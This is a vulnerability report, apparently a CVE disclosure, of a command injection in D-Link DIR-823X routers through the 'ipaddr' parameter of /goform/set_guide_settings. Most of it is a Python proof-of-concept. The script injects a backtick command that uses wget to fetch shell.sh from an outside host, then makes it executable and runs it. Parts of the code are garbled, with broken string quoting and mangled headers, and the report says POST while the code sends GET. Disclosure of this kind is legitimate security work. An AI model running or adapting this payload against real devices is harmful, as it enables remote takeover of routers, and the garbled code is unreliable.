# **CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers**

## **Vulnerability Title**

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

### **Vulnerability Description**

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "ipaddr" in /goform/set\_guide\_settings through a POST request.

#### **PoC**

```
# coding=gbk
import socket
import base64
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("start")
target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_guide_settings?ipaddr=`wget${IFS}-
P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}777${I
FS}/shell.sh;/shell.sh`&proto=static&netmask=1&gateway=1"
request = f''GET \{cmd\} HTTP/1.1\r\nHost: \{target\}\r\nUpgrade-
Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0;
win64; x64) ApplewebKit/537.36 (KHTML, like Gecko)
Chrome/111.0.5563.65 Safari/537.36\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange; v=b3; q=0.7 r\nAccept-Encoding: gzip, deflate r\nAccept-Encodi
Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
```

```
response = s.recv(1024)

print(response)
s.close()
```

# **Cause Analysis**

The WebsGetvar function accepts external data and it enters do\_system execution, resulting in a command execution vulnerability.

## **Suggested Fix**

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.